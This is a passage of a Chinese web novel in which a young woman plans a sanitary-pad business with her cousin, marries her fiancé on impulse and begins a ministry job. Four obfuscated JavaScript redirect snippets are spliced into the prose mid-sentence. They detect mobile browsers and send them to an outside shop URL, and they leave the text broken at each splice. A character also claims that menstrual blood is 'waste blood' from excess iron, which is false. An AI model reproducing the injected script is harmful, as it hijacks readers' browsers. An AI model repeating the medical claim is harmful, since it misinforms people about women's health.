别说现在,即便是再过二十年,依然有“月经羞耻”这样的事,女孩子买卫生巾都要用黑色塑料袋,去厕所换个卫生巾更是遮遮掩掩,男生看到女生购买或者手拿卫生巾,就纷纷起哄,也未必是嘲笑,可能是教育缺失所以不懂,也可能是,为了合群、从众。 可越是这样,越应该推广。女性经期使用卫生巾,而不是那些装了草木灰的月事带、或者根本无济于事的草纸、卫生纸,是一件于社会于个人都十分有益的事。 卫生巾之所以叫“卫生巾”,当然是因为它卫生。卫生巾比月事带、草纸更薄更软更吸水,更方便女性活动、劳动,还能预防妇科炎症,保护女性生殖健康。 一个女性的健康,除了事关她本人,更与其配偶、子女、家庭息息相关,更与社会休戚相关。 祝镕开着车,很久没有听到动静,差点以为符伊年睡着了,正想着等会儿红绿灯的时候从后座拿个毯子给她盖上,一转头就发现她眼睛睁着呢。 只是表情比较凝重,像是在考虑什么重大的事情。祝镕知道,符伊年心里差不多有谱了。既然如此,他当时也就没有多问,主要是怕打断她的思路,反正再过一个来小时就到家了。 所以,一直从路上到现在,四五个小时过去了,祝镕才终于提起这件事。 对此,符伊年发表看法:您可真能憋啊。 言归正传,当听到符伊年说打算做一个和女性卫生用品(卫生巾)相关的生意,容院长很吃惊,接着就是好奇,十分感兴趣的模样,“年年快说说,你是怎么想到这个的?” 不等符伊年开口说话,祝镕替她说了,“因为她觉得目前的卫生巾又贵又不好买,还有很多人用不起。” 符伊年点点头,“我刚回来的路上计算了一下,一个女性一生大概要用一万五千片卫生巾。” 容院长对这个数字表现得很淡然,没有丝毫惊讶或者震撼。倒是祝镕,十分震惊,当时就瞪大了眼睛,“怎么那么多?” 于是符伊年就把之前得计算数字说给他听。符伊年对这个方面倒是没有普通女性的羞涩或者禁忌,她一直认为女性健康和男性也是息息相关的,让他知道、了解甚至熟悉,倒也不是坏事。 听完符伊年的详细介绍,祝镕怔忡了一会儿,“流那么多血,健康不会受损吗?” 符伊年被祝镕问住了,她还真的从来没有考虑过这个问题。有点深奥,这涉及到了医学问题,她不禁看向容院长,这需要她这个专业人士来解答了吧。 容院长接收到符伊年求助的目光,沉吟了一下,“这个问题有点复杂,其实就是男女身体构造的不同,循环系统和造血系统有区别。经血其实不是正常的血,是体内铁元素过量堆积形成的一种‘废血’,月经出血正好消耗掉了过量的铁,然后制造出新的血液补足。” 容院长说得很简单,不过祝镕还是理解了,于是松一口气,“于健康无碍就好。” “言归正传,”容院长不再管祝镕,重新看向符伊年,“年年接着说。” 被祝镕那么一打岔,符伊年想了一会儿才重新接上思路,“就像我之前说的,女性一生要用大量的卫生巾,而华国目前这片市场还没被开发,是一个很值得考虑的方向。” 容院长若有所思地点头,“从市场前景上看,不错。可是有个问题你没有考虑,并不是人人都能接受卫生巾这个事物。价格是一方面,思想更加难以转变。” 这个问题,符伊年当然有所考虑。其实当前卫生巾价格还是偏高的,这是因为此时的卫生巾主要是进口产品,国内还没有一家卫生巾厂家,因为没有技术和生产线。 “听说,日本最新的生产线要近两百万一条,”符伊年慢慢地回想着自己从前看到的消息,“也许最开始价格还是低不了,但是有了生产线有了技术,慢慢就能将价格打下来了。” 再说到思想观念这一条,“随着高考恢复,越来越多的女性有接受高等教育的机会,接触到的知识也越来越先进,思想也会越来越开放,她们了解到卫生巾的优点和益处,就会乐于购买和使用了。” 而且最重要的一点,越来越多的女性接受教育、走向工作岗位,有了自己的收入就能自己做主,就有了话语权。 “目前国内这一块还没有类似的公司厂家,可以说是一片□□,市场广阔,比较合适。”符伊年最后不好意思地笑,“其实这些都是我的初步想法,具体的,还要和柳旻表哥谈,毕竟,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565747|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两百万,也只能买一条生产线。” 其他的厂房、原料、包装、工人……就有些紧张了。 囊中羞涩啊。符伊年喟叹。 符伊年说得虽然简单,但是相关的几个方面考虑的都还比较周全,容院长听得仔细认真,越发觉得这个主意不错。 “其实,这次医药下乡活动中,主要是开展针对老、幼、妇的健康检查和义诊,也有关于如何避免妇科疾病的宣传和讲座,”容院长说着摇摇头,“从以往几次活动来看,成效不大。” 容院长语气并不轻松,甚至有些严肃,听得出来她对这件事情的担忧和重视。 符伊年也担忧起来了,免费的义诊和宣讲都没效果,那卫生巾还能卖出去吗? 祝镕猜出她们的担忧,有些好笑,觉得她们俩陷入了各自的死胡同,“妈,我举个不太恰当的例子,我有个战友,以前家里是农村的,农村自己挖井随便用水,后来转业进了城,听说城里水居然要收费,他在家都不喝水的,去单位喝。” 这个例子虽然像祝镕说得那样不够恰当,但是容院长一下子就明白了他的意思:免费的东西不被珍惜,没人在意。 不过,“那我们也不能跟老百姓收费啊。” 祝镕挠挠头发,发现自己接下来不知道要怎么说了,只好看向符伊年,希望她能通过默契理解自己的意图。 符伊年倒是理解,但是她在大脑里搜索了一会儿,发现自己也没找到合适的例子,决定干脆直接说了,“免费的不被珍惜,不能跟老百姓收费,但是可以让老百姓跟医院‘收费’。” 这段话有点别扭,容院长分析了一下,恍然大悟,“你是说给老百姓些好处?那给什么好处呢?” “鸡蛋吧。”符伊年脱口而出,毕竟这是后来很多商家和养生讲座最常用的套路,“或者铅笔本子毛巾这些,要既不贵,又能打动人心这样的。” 容院长觉得这个主意好,尤其开办讲座,如果有笔或者本子这种,就会有年轻姑娘过来了。 祝镕大大的松了一口气,给符伊年竖起大拇指。 容院长心头的事解决了,就转头看向符伊年,“那你……” “我那事儿不是一下子定下来的,”符伊年心里清楚得很,“就算柳旻是表哥,也是真金白银地从人家包里掏钱,这个急不来,得慢慢筹划,我先写个项目书,写好了再去找人,也算是有诚意、有计划,免得对方以为我在闹着玩儿。” 容院长听说她自己有计划,便不再多言,“若是有用得上我和你叔叔的,就直接吱声。” 这句话的意思当然不是指要容院长和祝军长做什么具体事,而是指他们的人脉、关系、资源。可以说,容院长这句话如同一颗定心丸,给了符伊年一个坚强有力的支持。 当晚,符伊年熬夜写出了一份几千字的策划书,准备第二天和柳旻见面时拿去给对方,计划书的名字叫做《关于未来二十年华国女性健康发展的前景与展望》。 113. 合作 第一一三章 一年多前,华国开始推行改革开放,对内改革,对外开放,还与漂亮国建立了外交关系。 柳贺燕观察了半年多,发现政策推行顺利,甚至还制定了不少以前不曾有的政策、规定。柳贺燕考虑再三看,决定回国投资。 但是柳贺燕他没有自己亲自回国——总归是几百亿集团的公司总裁,一举一动还是很引人注意的。所以他派遣了自己的独子柳旻回国。 柳旻回国后发现,虽然当时国家确实已经开放,也欢迎华人华侨回国投资,但是关于国外资本设立公司的制度当时还不完善,外资无法注册公司,柳旻没有办法,先去港岛注册了一个,港资回大陆注册公司就顺利多了。 公司注册好,柳旻几乎常驻京城,一边游逛名胜景点、品尝美食,一边找寻着商机准备投资。符伊年那个辣条生意就是这么注意到的。 辣条确实受欢迎,这个项目推进的也比较顺利,但是对于柳旻来说,有点小,不够看。他这段时间也依然在继续寻找更大更好的商机项目,也是为了能尽快解决集团的困境。 俗话说:想打瞌睡就有人送枕头。 从安县回来的第二天,柳旻在首都饭店的餐厅里喝咖啡,对面坐着公司在大陆的经理夏卓,他正在汇报这些天一来寻找到的商业项目。 大陆现在开始改革开放,外面很多很普遍的事物在这里都十分新鲜,所以,说一句“遍地是商机”并不夸张。 于是夏卓一下子送来了十多份项目书,涉略到的范围也很广,几乎是方方面面的:食品公司、服装公司、百货商场这些都是普通,电子工厂、机械制造厂也算稀罕,竟然还有提议开电影公司的。 柳旻在一堆项目书里翻了翻,留下两个剩下全推回去了,“贸易公司可以筹备起来了,到时候无论是进口还是出口,都可以从这里走,就不再单独设立,电子工厂现在时机还不够成熟,倒是造船厂,可以在粤省开一个,在老家选些有才能的人过去。其他的,再说吧。” 夏卓看向自己用了好几个月才搜集到的项目和整理好的资料,最终竟然只留下了两个,心中很是不服气,他想劝说总裁是不是再考虑了一下。 柳旻摘了眼睛捏捏鼻梁,“这种东西,连我这关都过不去,拿给董事长,只能大家都挨骂。” 夏卓虽然还是不太服气的样子,但还是闭嘴了,过了一会儿,终于还是把那些被打回来的项目书收起来,起身离开了。 柳旻坐了一会儿,正准备起身回去呢,面前的座位上突然坐下一个人。柳旻定睛一看,居然是那个才认回来不久的表妹。 “年年怎么来了?”柳旻是真的好奇,这位表妹不是一直对他们父子敬而远之的吗?怎么今天竟然主动过来了? 符伊年坐下,没有立即掏出自己的项目书,而是像寒暄一样询问:“刚看到夏经理从这里离开了,表哥这副样子,遇到什么难事了吗?” 柳旻摇头,“一点公事。” “很难吗?”符伊年继续问。 柳旻抬起头看她,察觉到了不同。这个表妹今天有点不一样啊,不仅主动来酒店探望,怎么说话也比往日没了分寸?等他看到符伊年眼中的跃跃欲试,忽地明白了过来。 “难又怎么样?不难又怎么样?”柳旻和她打起太极来。 偏偏,符伊年是个不按常理出牌的人,她不想打太极,只想打直球,“难不难都不是我考虑的事,是你下属的事。我来找你谈合作。” 听到前一句的时候柳旻还挺无语,心说跟你没关系你说什么。听到后一句,柳旻就来了兴趣,他知道自己这个表妹是学经济的,虽然是农林经济,但是听说当初高考时是可以考京大的成绩的。 于是他重新戴上眼睛,人也坐直了些,一副准备认真倾听的状态,然后就收到了符伊年准备的一份十来页的项目策划书。 柳旻意识到,这一次的合作,与上一次完全不同了,这是准备大干一场的意思。 柳旻快速浏览了一遍项目书,看完第一遍后又将项目书翻回第一页,这回读的很是仔细和认真。 第二遍完毕后,柳旻不禁抬头看向符伊年,心想:有些基因传了几代都还是有影响的,叶家清末时在粤省生意做得相当大,整个粤省三分之一的生意是叶家的,剩下的三分之二,也多多少少有股份。 听父亲说表姑婆年轻时就很有商业思想和才能,所以唐家虽然回到了安县,生活也不曾拮据,甚至过得比大部分人家都好,不然那种环境下也很难供得起女儿读书,只不过建国后不允许个人经商,唐表姑也去读了师范当了老师。 不过现在看来,符伊年倒是继承了前人的经商思维和基因,商业才能很好。 符伊年说实话,她心情挺紧张挺忐忑的。毕竟这算是一项比较大的合作,涉及的方面也比较多,投入的金钱也是之前的几倍,她并不能确定柳旻会心动甚至同意。 符伊年来之前甚至想过,若是对方不同意,或是有其他苛刻条件,自己单干也不是不可以,就是比合作要麻烦、困难一些。 柳旻将项目书合上放到一旁,看向对面的符伊年,“这个项目是表妹自己想到的?怎么想到的?” “因为我是女性。”符伊年言简意赅,“这个世界上,没有真正的感同身受,无论生理还是心理,只有自己经受了,才会理解。女性生理期的难受和孕期的痛苦,是男性永远无法感受到的。” 除非,等哪天有了男性生子的技术。 柳旻:“祝镕怎么说?他同意你这么搞?” 其实他是想问祝军长和容院长对这件事的看法吧,符伊年猜想,怕祝家不同意从而使绊子?还是想问以后遇到问题是否能利用祝家的人脉关系? “容阿姨很支持我的想法,”符伊年并不隐瞒,“她对女性健康也十分关注。” 有了她这句话,柳旻就放心多了,从这份项目书上看,至少这个生意是值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575160|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得做的,而且是个可以长久做的,因为符伊年在项目书上提到了一句话:子又生孙,孙又生子;子又有子,子又有孙;子子孙孙无穷匮也。 柳旻虽然是漂亮国出生、长大的,但是柳贺燕要求他学习国学,所以《愚公移山》他也是读过的,知道这是愚公回敬嘲笑他的河曲智叟的话,放在这里就还挺合适的。 接下来,柳旻又同符伊年聊了些诸如生产、市场、销售之类的话题,越谈他越觉得,这个项目好,是比之前夏卓拿来的那些都好。 只不过,后来在柳旻提出将这份策划书送上去给董事长看的时候,符伊年提出了不同意见,“我是想和表哥合作,不是和恩慈集团合作。” “嗯?”柳旻不解,“背靠大树乘凉不好吗?” 符伊年笑而不语。 不过柳旻也不是笨人,很容易就想通了中间的关窍,知道自家打的那个联姻的主意已经被对方知晓了。也是,在找到符伊年之前,他们曾经大张旗鼓的在老家选了一遍人的,只不过都不符合条件罢了。 既然知道了“联姻”,必然也清楚了联姻的缘由:恩慈集团面临危机。 背靠大树是好乘凉,可是一旦树倒了,枝叶也无法存活,底下的人说不定还会被砸到。 柳旻没有考虑太久,答应下来,至于后面如何分工如何合作,这要一步一步来,首先已定的,自然是出资比例。 符伊年一共出资210万人民币,这里头除了刚收到的两百万的支票,剩下的十万主要来自当初卖配方的十五万。 柳旻自然出资金额比她高,毕竟他有钱嘛,他一共出资290万。两人合计出资五百万,其中柳旻占了58%的股份,符伊年占42%的股份。 “我年后要去部里上班了,恐怕没有时间管理公司或者工厂,”符伊年很抱歉地看向柳旻,“到时候恐怕还是要辛苦表哥,所以我占35%就好。” 柳旻却不同意,毕竟这个项目是符伊年想到的,而且,以后说不定也要用到符伊年/祝家的人脉关系,所以他坚持不多拿,甚至还说因为之前准备的见面礼还没到,干脆他再分3%的股份给符伊年做见面礼好了。 符伊年:你们有钱人一言不合就送股份当见面礼的吗? 最后推来让去,符伊年还是收下了这3%,因为柳旻把话说得非常清楚明白,“咱们是亲戚没得说,可是以后要是用到关系和人脉,肯定离不了祝家。” 话说到这个份儿上,符伊年知道自己若是再不收下,那就是不想合作了,便答应下来,想着以后按经营比例再慢慢还给他好了。 之后,两个人又约了下一次见面的时间,到时候商议好权责和义务,将细节落于纸面签订合同,达成法定协定。 因为是在酒店的咖啡厅,没有酒提供,两人就端起各自面前的咖啡杯互相一碰,杯子撞击发出清脆悦耳的声音。 符伊年:“合作愉快!” 柳旻:“合作愉快。” 114. 闪婚 第一一四章 祝镕不知道是因为最后半学期了所以假期比较长,一直到过完春节他还没提要返校。 符伊年在心里算了算,祝镕这次假期都已经休半个月了,这可是他自从去了二炮学院进修后,没有过的。 “你不会是被学校开除了吧?”符伊年不禁奇怪,“还是犯了什么错误了?” 祝镕好一阵无语,“能不能念我点儿好?” 符伊年更奇怪了,“那你怎么这么晚还没去学校?你在等什么?” 我在等定制的戒指送到好求婚! 可是这话能说吗?祝镕只好装作无事,“什么都没等,就是假期比较长。”怕符伊年继续问下去,急忙转移话题,“你是过完元宵节去部里报道吗?都准备好了吗?” 符伊年果然被转移了视线,顺着祝镕的话往下说:“没什么准备的,听说毕业生进部委第一年,约等于打杂,每天就扫地擦桌打开水领报纸,正经事儿轮不着我们。” 对于这个祝镕倒是有耳闻,但是,“我相信你不会认人使唤的。”最多三天,不,两天,她就要想招了。 符伊年点头,这倒是真的,“我们是去为人民服务的,不是为领导服务的,领导有秘书,轮不着我。” “也不要强出头,你们这届毕业生好几个呢,看看别人怎么行事,或者可以联合几个新老同事一起,这样不至于成出头鸟。”祝镕给符伊年出主意,实在是怕她直脾气上来,和领导硬顶。 “放心啦,”符伊年拍拍祝镕的肩膀,安抚他,“我还是很有眼色的,我妈说我窝里横外头怂。” 祝镕:“岳母精辟。” 符伊年撇嘴,“你是屁精!” 祝镕领会不了这两句话的“奥秘”,只以为符伊年说他“马屁精”。 两人插科打诨了一会儿,电话铃响起来,祝镕离得近,先一步接起来,听了两句话就笑起来,很开心的样子,“行,行,我现在就过去。”说完挂掉电话起身就往外走。 走了几步,马上到客厅门口的时候,突然感受到两道强烈的目光,祝镕停下脚步,转头看向符伊年,“那个,我有个朋友喊我出去,你,要不要一起?”其实祝镕知道符伊年今天约了同学逛街,本以为她不会去的。 谁料,符伊年一口就答应下来,“好啊。”她笑吟吟的,起身拿了外套,准备跟他出门。 祝镕傻了眼,可是他也不能再问“你不是约了人逛街吗”,那岂不是成了不打自招,说明他口是心非。 符伊年走出房门,被外头的冷风迎面一吹,打了个激灵,有点后悔一冲动就答应下来跟着祝镕一起出门了。 其实也不能完全怪她吧,实在是他最近很奇怪,没有提前归校不说,这两天好像还挺焦急,像是在等什么又像是怕来不及,所以她才打算跟着来,看看他究竟在搞什么名堂。 “走呀!”符伊年站在院子中间催促祝镕,“要冷死啦!” 祝镕回过神来,急忙出门来,“来了来了,穿外套。”一边说还不忘回身把客厅门关上,免得灌一屋冷空气。 车子驶出四合院胡同,坐在驾驶座上的人心虚——戒指刚送到,可是设想中求婚的玫瑰和礼花都还没买;坐在副驾驶的人心疑——这人遮遮掩掩鬼鬼祟祟究竟葫芦里卖什么药? 就这么,各怀心思的两个人上了车,却又为了不让对方察觉自己的心思,竟然还能一路自然地讨论符伊年和柳旻的合作,而且各自的思路和语言都十分清晰和准确。 符伊年甚至还从对话中得到启发,从而顺着这条思路,想到了另外一个类似的产品——纸尿裤。 不明就里的人,还以为两人真的在认真讨论呢。 半个小时后,车子停在一个院落前面。符伊年下车后四处看了看,没有看到任何招牌,一时拿不准这里到底是什么地方,难道是普通民居? 祝镕锁好车,走过来拉着人往前走,敲门,很快红色大门被拉开,“小祝来啦,快进来吧,二爷等着呢。” 符伊年越发奇怪了,不过她直到此时不宜出声,就保持着面带微笑的表情跟着祝镕往里走,遇到人就点头算问好。 两人一直往里走,穿过了两进院子,一直来到第三进,才从里面迎出来一个男子,穿着西裤衬衫和西装马甲,梳着分头,长相帅气俊雅,气质迥然。 不知道是不是帅的人长得都相似,符伊年觉得有点眼熟。 祝镕给符伊年介绍说:“你记得我和你说过我有个堂妹叫祝桦吧,这是祝桦舅舅家的孩子,叫华秋实,你喊表弟就行。” “你就比我大半天,充什么大辈儿!”华秋实踢了祝镕小腿一下表示反对,转头看向符伊年伸手同她握手,微笑着打招呼,“你好!我们从小打闹惯了,你别见怪。” 符伊年和他握了一下,也笑,“我支持你的,对这种没事儿就蹬鼻子上脸的人,一定要严厉打击。” 华秋实惊讶地看祝镕,那意思:你不是要求婚了吗?怎么这位看着不太高兴的样子? 祝镕耸耸肩,没说什么,一副“都随她”的样子。 三人说笑一阵进屋落座,华秋实又重新自我介绍了一次,他和祝镕同样年纪,之前一直在法国大使馆做大使秘书,这次回国是有公事。 说到这里,华秋实看了祝镕一眼,见他下巴微微动了动,笑起来,“祝镕肯定没跟你说,他之前拜托我在意大利买了一枚钻石戒指,这次回国我带了回来。”说完起身从一旁的书柜里拿出一个四方盒子递给祝镕。 “我一回来就听说,祝镕在托人买红玫瑰,”华秋实看着符伊年,嘴角噙着笑玩笑似的说:“你快劝劝他,这大冷天九十九朵红玫瑰得多贵啊,那么老些钱,不就说明他藏私房钱了嘛。” 符伊年点头,“你说的有道理这大冷天的买什么玫瑰,玫瑰都是外国人的洋玩意,买两盆牡丹得了。” 华秋实哈哈大笑起来,“对对,讲究雍容华贵,还得咱们的牡丹,百花之首!” 祝镕见自己那点儿惊喜都被华秋实给卖没了,干脆学习符伊年打直球,将戒指盒子往前一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581711|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送,“年年,和我结婚吧。” 符伊年看了眼祝镕手里的盒子,四四方方,一看就是戒指盒子,宝蓝色金丝绒布上印着金色的品牌名字。 符伊年抬起头看向祝镕,“对戒?” 祝镕摇头,“女戒,我不方便带戒指。”而且,对戒太贵了,现在他还买不起。 “我猜也是。” 祝镕有多少钱她是清楚的,这几年在军校学习,基本的职级工资还是有的,听说他们这些从战场上回来的,还有数额不等的奖金,这些七七八八加起来大概两万多三万左右。如果真的是格拉夫的戒指,也就只能买个女戒。 就是不知道买到了多大的。 符伊年将右手往前一递,示意祝镕:可以给我戴上了。 祝镕一开始还没反应过来,旁边的华秋实推了他肩膀一下,他才反应过来,急忙打开戒指盒子,还因为太过慌乱,差点把戒指盒子扔掉地上,幸亏反应迅速接住了。 戒指盒子打开,露出里面的钻戒。符伊年是真的没有想到,祝镕居然想到了买钻石戒指,而不是这个时候更普遍更传统的金戒指。 符伊年对钻石了解不多,但是也知道不能单纯以大小来划分钻石的价值高低,更应该看成色。当然,成色她也不会看。 但是不妨碍她很喜欢,因为真的很漂亮,让人一见就心生欢喜。 祝镕把戒指拿出来,戴在符伊年右手无名指上,尺寸是他请教了银楼的老师傅,又偷偷摸摸接着十指相握的机会测量出来的,幸好没有出错,尺寸刚刚好。 祝镕表面上看起来很镇定,其实心里十分紧张,紧张得手都要抖了,只是被他用强大的心里素质控制住了,稳稳地,将戒指套进符伊年的手指。 啪啪啪!华秋实抬起手鼓了几下掌,这次的笑比刚才真诚多了,“不错不错,我这回来一趟,还当了一次证婚人,这以往可都是领导才能干的!” 符伊年正在端详自己的手和手指上的戒指。这几年不用做家务又经常用护手霜保养,所以符伊年的手越发的白皙细嫩,手指上套着白金钻戒,显得更加贵气和娇嫩。 此时听见华秋实这样说,眼珠子一转,“一个求婚而已,还不算证婚。您要是真想当证婚人,不如跟我们走一趟?” 华秋实疑惑,“走?去哪儿啊?” “去结婚啊。”符伊年说得理所当然,站起身拉住身边已经愣住的祝镕,“走,结婚去。” 一直到将人拉着走出了门,祝镕才回了神,急忙拉住符伊年,“介绍信和户口簿都没带,怎么结啊?” 符伊年停下来,似笑非笑,“你就说你去不去吧?” 这时候华秋实也跟了出来,听到他们的对话,跟着起哄,“去不去啊?我可等着当证婚人呢。” 祝镕认真看了两秒符伊年,果断点头,“去!” 于是,两个小时后,祝镕跟着符伊年从民政局走出来,手里捧着一张大红色奖状式结婚证。 符伊年看着这鲜红的证书,心说:我这算不算闪婚啊。 115. 工作 第一一五章 “小符,去打壶开水!”一只红色铁皮暖壶放到符伊年办公桌上,命令道。 符伊年从资料中抬起头来,看向转身离开的身影,这是办公室里年纪最大资历最老的大姐,姓李,叫李洁,办公室的人都喊她“李姐”。 今天,是符伊年上班的第二天,现在是早上八点四十五。 “李姐,开水房在哪里呀?”符伊年仰着头,眨着眼,一副天真懵懂的样子,“我才来,还找不到地方呢。” 那意思:不是我不去,是我不知道啊。 李姐处理这种情况十分得心应手,两句话就给她指明了,“上二楼楼梯右手边走到头,就是开水房了。要开水啊。” “什么样的是开水啊?”符伊年继续提问,“这也没个温度计,我没法判定啊。” 李姐十分耐心,尽职尽责地给她解答,“水箱上面有两个灯,红灯亮了就是开水,绿灯就是还在烧。要是绿灯,你就稍微等一会儿。” 两人这一来一回早就引起了周围同事的注意力,一个个都在偷偷打量着,心想:李洁又开始了,每个新来的员工都要被她这么使唤。 他们一边感慨,也一边关注着,想知道符伊年是和之前其他新同事(包括他们自己)一样被李姐使唤,还是反抗一下,或者反抗无效继续被使唤。 符伊年没有注意到所有其他人都在关注她们俩,想了想,站起来提上水壶转身出去了。 同事们有些想不明白,这就妥协啦?再坚持一会儿嘛。不过看着挺天真一姑娘,说不定性格就这么软乎? 符伊年的办公桌紧邻门口,这是默认的新人办公桌,所以她根本不用走路,站起来一转身就出去了,结果才走出门口两步,她就又退回来了。 符伊年将暖壶放回墙角,一边快速坐下捧起资料,一边冲同事们悄声:“领导来了,领导来了。” 于是众人纷纷收起看热闹得目光和心思,投入进各自的工作中。 领导的脚步声由远而近,在符伊年她们办公室门口停下,驻足观看了一会儿,又重新走远。 直到脚步声消失,众人的神情才放松了些,慢慢才有了喝水聊天声,但是谁也都没再提起让符伊年去打水这件事。 一上午的时间很快,符伊年一份资料看完背下来,就已经到了中午下班时间。同事们纷纷起身,提着包的要回家给孩子做饭,拿着饭盒的则是去食堂吃饭。 符伊年也拿上自己的饭盒,跟随大部队一起去了食堂。符伊年的饭盒还是她再大学时用的,两个饭盒一个装菜一个装饭,还有水杯也是,都是大学用过的留下来继续顶用了。 农林部的食堂有两个,大食堂为所有职工提供餐食,大锅菜居多,也有小份炒菜,就是略贵。小食堂其实就是小灶食堂,为大领导提供餐食,偶尔也做公务宴请。 而且,虽然厨师的手艺都非常好,能将非常普通的食物做得十分美味,符伊年第一次吃的时候就爱上了,决定以后就要以单位为家,这样就能天天在“家”吃饭了。 饭后符伊年回四合院去休息。虽然才上班第二天,符伊年就已经感受到通勤距离短的好处。虽然当初买这个四合院的时候并没有考虑过这一点,但是单程十分钟公交的距离,实在太友好了。 到家后符伊年和祝镕通了一会儿电话,祝镕听到她说要“以单位为家”这样就能天天在“家”吃饭,一阵无语后,祝镕跟符伊年打商量,“中午能在单位食堂吃,晚上怎么办?要不,你也去军区住吧,姑婆做饭手艺不错,军区食堂也挺好吃,而且,军区安全啊,四合院就你一个人,我不太放心。” 正月初四那天,祝镕托人买的戒指到了国内,他去取的时候符伊年也跟着去了,导致他本来准备的求婚惊喜没了。 而且,更让人不可思议的是,符伊年才答应了他的求婚,竟然就拉着祝镕直奔民政局去领了结婚证。 也说不好到底是谁跟谁求婚。 见证了全程的华秋实不光自己去跟着去围观了,甚至还喊上了几个祝镕和他共同的好友,等俩人捧着大红奖状式的结婚证从民政局出来,一串礼炮就劈里啪啦的响了起来,接着又是几个二踢脚上天。 阵仗有点大,路人都看了过来,当发现是一个穿军装的军人和一位女同志从民政局领证出来,就知道这是有情人成了眷属,而且还是军婚。这年头,嫁给军人的姑娘都是好姑娘。 于是也不知道是谁带的头开始鼓掌,一开始只有一两个人,后来鞭炮吸引越来越多的围观者,掌声就越来越多。 虽然之前两人的关系已经和结婚没有差别,但是当手握大红证书,心里到底是不一样了,符伊年直到此时才有了“哦我结婚了”的感受。 祝镕虽然对于好友们兴师动众的举动有些哭笑不得,但更多也是感谢和感慨,总算让符伊年没有太委屈。 鞭炮声有点响,符伊年一只手捂着耳朵,一只手挽着祝镕的手臂,“怎么办,没有买喜糖!” 亲朋好友们无所谓,毕竟给他们看了热闹了,路过的路人怎么办,人家好心来祝贺,总不能一块喜糖都不给吧? 祝镕拍拍符伊年的后背,安抚她不用紧张,然后让她看向一旁的华秋实。符伊年看过去,华秋实正提着装了喜糖的袋子给围观的人群发糖呢。 “你什么时候买的喜糖啊?里面的工作人员有没有啊?” 祝镕点头,“有的。刚刚我们签字办手续的时候,让秋实去买的。” “想的怪周到的。”符伊年嘀咕了一句,嘴角却不自觉地翘了起来,心里愉悦。 因为华秋实喊了几个祝镕的朋友过来,他和符伊年觉得既是喜事,又难得人凑得齐,干脆请大家吃个饭。 “我把管方和刘洋也喊上吧,人多热闹点儿。”符伊年提议到,而且祝镕的朋友条件都很好,万一有看对眼的呢。 祝镕当然没意见,找了个路边的公用电话停车,让符伊年下去打电话,将吃饭的地址告诉她们,然后过去汇合。 席间,众人起哄让祝镕给符伊年一个盛大婚礼,“不然都对不起人家符同志拉着你去民政局!” 祝镕自然是满口答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591226|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你们只管准备份子钱就行了。”然后问符伊年,想要什么样的婚礼。 如果是十年前,当时的条件没得选,青年男女结婚办的是革命婚礼,对着伟人像鞠躬,请亲朋好友吃个喜糖、喝瓶汽水,然后把两床被褥搬到一张床上,就算婚礼了。 如果是三四十年后,符伊年喜欢中式婚礼,最好是宋式的,因为她喜欢宋制汉服。而且,“着我汉家衣裳,嫁我汉家儿郎”,听着就大气。 只是如今么,“简单点吧,不要铺张浪费,在军区食堂请几桌就行了。” “不穿婚纱吗?”管方诧异,她刚刚就看见了符伊年手上的钻戒,还以为她们一切都要搞西式的呢。 符伊年摇头,“不穿,大冷天的穿婚纱,多冷啊。”其实是因为这个时候的婚纱符伊年不喜欢。 管方看了她一眼,笑着点头看,“也是。”她本来想说冬天冷可以夏天办啊,但是想到她爱人是军人,夏天的时候恐怕未必在京城了。 因着祝镕很快就要开学,结业以后还不知道分去哪个部队,两人商量了一下,决定就在正月初八办婚礼,在刚好那天周末,大家都有时间。 婚宴也没在军区食堂办,而是在首都饭店,这是祝军长和柳贺燕商议后的结果,一共席开十五桌。 婚宴过后第二天,祝镕就启程回学校了,实在是不能再耽搁了,最后三四个月,很关键。 而一周之后,元宵节后的第二天,符伊年带着自己的毕业证、学位证和报到证,到工作单位报道。 所以,今天才是她工作的第二天,她对新工作的最大印象就是:食堂好吃,她可以天天吃。 